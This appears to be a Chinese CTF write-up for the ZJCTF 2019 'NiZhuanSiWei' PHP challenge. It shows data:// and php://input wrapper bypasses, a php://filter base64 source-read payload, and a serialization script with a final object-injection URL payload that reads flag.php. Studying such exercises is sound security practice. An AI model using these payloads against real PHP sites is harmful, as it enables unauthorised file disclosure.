[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

1.打开网站就是源码:

在这里插入图片描述
大概看一眼,我们的目的地一般都是在最内层判断里了。

2.从上往下看,第一层判断,是判断text参数存在且获取其内容等于“welcome to the zjctf”。这里是让我们猜其目录下的某个文件吗?不不不,这里是考我们伪协议,让我们自己操纵这个内容。
在这里插入图片描述

方法1php://input伪协议
(比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的)在这里插入图片描述
方法2data伪协议

1
?text=data:text/plain,welcome to the zjctf

在这里插入图片描述
可能还有些其他方法吧,我知识面尚窄。

3.第二步是file参数里不能出现flag字符,我们看到提示“useless.php ”,先包含它看一下。(因为是php文件,我们想看到内容就需要php://filter伪协议)
在这里插入图片描述

1
?text=data:text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

在这里插入图片描述

4.拿去解码看一下:
在这里插入图片描述
这里定义了Flag类,里面有__tostring魔术方法,这个魔术方法是在类被当成字符串的时候调用,然后获取file的值并输出。而且这里也提醒了我们flag.php。

5.那么现在我们就包含useless.php文件,后面对$password进行了反序列化,我们让$password反序列化出Flag类,因为$password被当做字符串输出,所以会调用__tostring魔术方法,然后会输出file的内容。那么我们就构造反序列化的值。(我是不可能手动构造的,滑稽)

1
2
3
4
5
6
7
8
<?php
class Flag{  //flag.php  
    public $file;  
}
$flag = new Flag;
$flag->file = 'flag.php';
print(serialize($flag));
?>

在这里插入图片描述

6.最终payload:

1
/?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag在源代码里。
在这里插入图片描述